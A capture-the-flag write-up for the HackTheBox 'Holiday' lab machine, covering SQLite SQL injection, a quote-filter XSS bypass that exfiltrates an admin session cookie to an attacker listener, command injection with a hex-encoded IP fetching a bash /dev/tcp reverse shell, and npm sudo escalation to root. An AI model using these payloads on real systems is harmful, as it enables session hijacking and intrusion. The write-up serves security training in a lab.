Post

HackTheBox Holiday

Writeup for HackTheBox Holiday

HackTheBox Holiday

Machine Synopsis

Holiday is definitely one of the more challenging machines on HackTheBox. It touches on many different subjects and demonstrates the severity of stored XSS, which is leveraged to steal the session of an interactive user. The machine is very unique and provides an excellent learning experience. (Source)

Key Exploitation Techniques:

  • SQL Injection (Blind and Error-based, SQLite)
  • Stored Cross-Site Scripting (XSS) with filter bypasses (HTML entity encoding, quote filtering bypass, String.fromCharCode)
  • Session Hijacking via XSS (cookie exfiltration)
  • Command Injection (HTTP request parameters, & instead of ;, IP to Hex bypass)
  • Sudo Privilege Escalation via npm (NOPASSWD rule)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nmap -p- --min-rate 10000 10.10.10.25

PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

❯ nmap -p 22,8000 -sC -sV 10.10.10.25

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c3:aa:3d:bd:0e:01:46:c9:6b:46:73:f3:d1:ba:ce:f2 (RSA)
|   256 b5:67:f5:eb:8d:11:e9:0f:dd:f4:52:25:9f:b1:2f:23 (ECDSA)
|_  256 79:e9:78:96:c5:a8:f4:02:83:90:58:3f:e5:8d:fa:98 (ED25519)
8000/tcp open  http    Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

webpage

dirsearch on port 8000 revealed /admin and /login endpoints.

1
2
3
4
5
❯ dirsearch -u http://10.10.10.25:8000
...
302 -   28B  - /admin  ->  /login
200 -    1KB - /login
...

login_webpage

Initial login attempts with common credentials failed.

Exploitation

Credential Discovery: SQL Injection (SQLite)

The login page was vulnerable to SQL Injection. sqlmap was used to automate the discovery and exploitation process. The login request was saved to login_req.

1
2
3
4
5
6
7
8
9
10
11
❯ sqlmap -r login_req --risk=3 --level=5 -T users --dump --threads 10
...
[17:05:44] [INFO] the back-end DBMS is SQLite
web application technology: Express
back-end DBMS: SQLite
...
+----+--------+----------------------------------+----------+
| id | active | password                         | username |
+----+--------+----------------------------------+----------+
| 1  | 1      | fdc8cd4cff2c19e0d1022e78481ddf36 | RickA    |
+----+--------+----------------------------------+----------+

The back-end DBMS was identified as SQLite. The dumped hash fdc8cd4cff2c19e0d1022e78481ddf36 was cracked on CrackStation to nevergonnagiveyouup.

Manual SQLi (Illustrative)

Alternatively, manual testing could confirm the SQLi and enumerate data. The SQL query structure was likely SELECT ... FROM users WHERE ((username="input")). An input like username=admin"))-- -&password=admin would bypass authentication, indicated by an “Error Occurred” message instead of “Invalid User.”

To find the number of columns: username=admin")) order by 4-- -&password=admin

To confirm column display order and SQLite version: username=admin")) union select 1,sqlite_version(),3,4-- -&password=admin

To list table names from sqlite_master: username=admin")) union select 1,group_concat(tbl_name),3,4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'-- -&password=admin

To get column names for the users table: username=admin")) union select 1,group_concat(sql),3,4 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'-- -&password=admin

To dump user data: username=admin")) union select 1,group_concat(username),3,4 FROM users-- -&password=admin username=admin")) union select 1,group_concat(password),3,4 FROM users-- -&password=admin

Initial Access: Stored XSS & Session Hijacking (algernon)

Login to the Booking Management portal using RickA:nevergonnagiveyouup was successful. The dashboard showed various details.

booking_management_dashboard

Clicking a UUID displayed specific booking details, including a “Notes” tab.

uuid_details

notes_tab

The notes input had a message: “All notes must be approved by an administrator - this process can take up to 1 minute.” This suggested a stored XSS vulnerability.

Initial XSS payloads were filtered:

  • <script>alert(1)</script> resulted in HTML entities: <script>alert(1)</script>.
  • <img src=1 href=1 onerror="javascript:alert(1)"></img> resulted in <img src=1></img>, showing <img> tags were accepted.

A simple <img> tag with an external source confirmed callbacks from the server:

1
<img src='http://10.10.16.23/test.jpg' />
1
2
3
4
# Attacker machine: Host HTTP server
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - "GET /test.jpg HTTP/1.1" 404 -

A subsequent payload, <img src="x/><script></script>">, resulted in <img src=x/><script></script>>, indicating script tags could be embedded. Single and double quotes were filtered, requiring encoded payloads.

The final XSS payload used eval(String.fromCharCode(...)) to bypass quote filtering and load an external JavaScript file (cookie.js) designed to exfiltrate the admin’s session cookie.

Encoded JavaScript payload: document.write('<script src="http://10.10.16.23/cookie.js"></script>'); Final XSS payload submitted to notes:

1
<img src="x/><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,50,51,47,99,111,111,107,105,112,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59))</script>">

The cookie.js file, hosted on the attacker machine, collected the connect.sid cookie and sent it to a netcat listener.

1
2
3
4
5
6
7
8
9
cat cookie.js
window.addEventListener('DOMContentLoaded', function(e) {
    window.location = "http://10.10.16.23:8888/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})

# Attacker machine
❯ python3 -m http.server 80
❯ nc -nlvp 8888
listening on [any] 8888 ...

After the administrator approved the note (within a minute), the listener received the session cookie.

1
2
3
4
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.25] 48836
GET /?cookie=connect.sid=s%253A457e3d80-e62e-11ef-bd43-cf9e0fb0879d.8VCVvWUEWXnuWeseitCbJAVfds2XHDwxLqSEto5YXug HTTP/1.1
...
Host: 10.10.16.23:8888

The connect.sid cookie was s%3A457e3d80-e62e-11ef-bd43-cf9e0fb0879d.8VCVvWUEWXnuWeseitCbJAVfds2XHDwxLqSEto5YXug. This admin session cookie was then used to replace the current session token in the browser, allowing access to the /admin tab.

admin_tab

An alternative JavaScript payload can exfiltrate entire HTTP responses using XMLHttpRequest. This is useful for obtaining page content directly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  // response.js
  // Send a GET request to fetch data from the local server
  var req1 = new XMLHttpRequest();
  req1.open('GET', 'http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65', false);
  req1.send();
  
  // Store the response from the server
  var response = req1.responseText;
  
  // Send a POST request to forward the retrieved data to our server
  var req2 = new XMLHttpRequest();
  req2.open('POST', '[http://10.10.16.23:8888/response](http://10.10.16.23:8888/response)', true);
  req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  
  // Encode and send the response data
  var encodedResponse = encodeURIComponent(response);
  req2.send(encodedResponse);

Initial Access: Command Injection (algernon)

From the /admin dashboard, an “Export” function was available, allowing export of bookings and notes.

admin_webpage

1
2
3
4
5
6
7
8
cat export-bookings-1739028438045
1|e2d3f450-bdf3-4c0a-8165-e8517c94df9a|Wilber Schowalter|A697I|Werner.Walsh56
@gmail.com|183.0|1497933864607|1498458169878|Alishabury
...

❯ cat export-notes-1739028439288
1|31|<script>alert(1)</script>|1739017725407|1
...

Intercepting the export request in Burp Suite and attempting command injection showed a filter allowing only [a-z0-9&\s\/] characters. This meant common command separators like ; were blocked.

export_function_burp

export_function_burp_error

However, & (URL-encoded as %26) was permitted.

export_function_burp_command_injection

Due to the filter preventing dots (.), direct IPv4 addresses (e.g., 10.10.16.23) could not be used. The IP address was converted to its hexadecimal representation (0a0a1017 for 10.10.16.23) which bash can resolve.

1
2
3
4
5
# 10.10.16.23 --> 0a.0a.10.17 (0x0a0a1017)
❯ ping 0x0a0a1017
PING 0x0a0a1017 (10.10.16.23) 56(84) bytes of data.
64 bytes from 10.10.16.23: icmp_seq=1 ttl=64 time=0.042 ms
64 bytes from 10.10.16.23: icmp_seq=2 ttl=64 time=0.090 ms

A simple reverse shell script (rev) was prepared:

1
2
3
4
cat rev
#!/bin/bash

bash -i >& /dev/tcp/10.10.16.23/443 0>&1

export_function_burp_wget

1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - "GET /rev HTTP/1.1" 200 -

The command injection was performed by appending &bash rev to the table parameter in the GET request, triggering the download and execution of the reverse shell.

1
2
3
GET /admin/export?table=bookings%26bash+rev HTTP/1.1
Host: 10.10.10.25:8000
...

A netcat listener on port 443 caught the reverse shell connection, providing a shell as algernon.

1
2
3
4
5
6
7
8
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.25] 36188
algernon@holiday:~/app$ whoami
algernon
algernon@holiday:~/app$ cd /home/algernon
algernon@holiday:~$ cat user.txt
54fc61db1ef37e5f0649c540f97cae32

The user.txt flag was retrieved.

Privilege Escalation

Enumeration of algernon’s sudo privileges revealed a NOPASSWD rule for npm.

1
2
3
4
5
6
7
algernon@holiday:~$ sudo -l
Matching Defaults entries for algernon on holiday:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User algernon may run the following commands on holiday:
    (ALL) NOPASSWD: /usr/bin/npm i *

This configuration allows algernon to run /usr/bin/npm i * as root without a password. This can be exploited by using a malicious package.json file, as documented on GTFOBins for npm.

A package.json was created with a preinstall script to execute /bin/sh.

1
2
cat package.json
{"scripts": {"preinstall": "/bin/sh"}}

This package.json was transferred to the target’s /tmp directory.

1
2
3
algernon@holiday:/tmp$ wget http://10.10.16.23/package.json -O package.json
algernon@holiday:/tmp$ cat package.json
{"scripts": {"preinstall": "/bin/sh"}}

Executing sudo /usr/bin/npm i --unsafe in the directory containing the malicious package.json triggered the preinstall script, granting a root shell.

1
2
3
4
5
6
7
8
9
algernon@holiday:/tmp$ sudo /usr/bin/npm i --unsafe

> undefined preinstall /tmp
> /bin/sh

# whoami
root
# cat /root/root.txt
77006c4b20eeba12c59de4f7dbbd3221

The root.txt flag was retrieved.

This post is licensed under CC BY 4.0 by the author.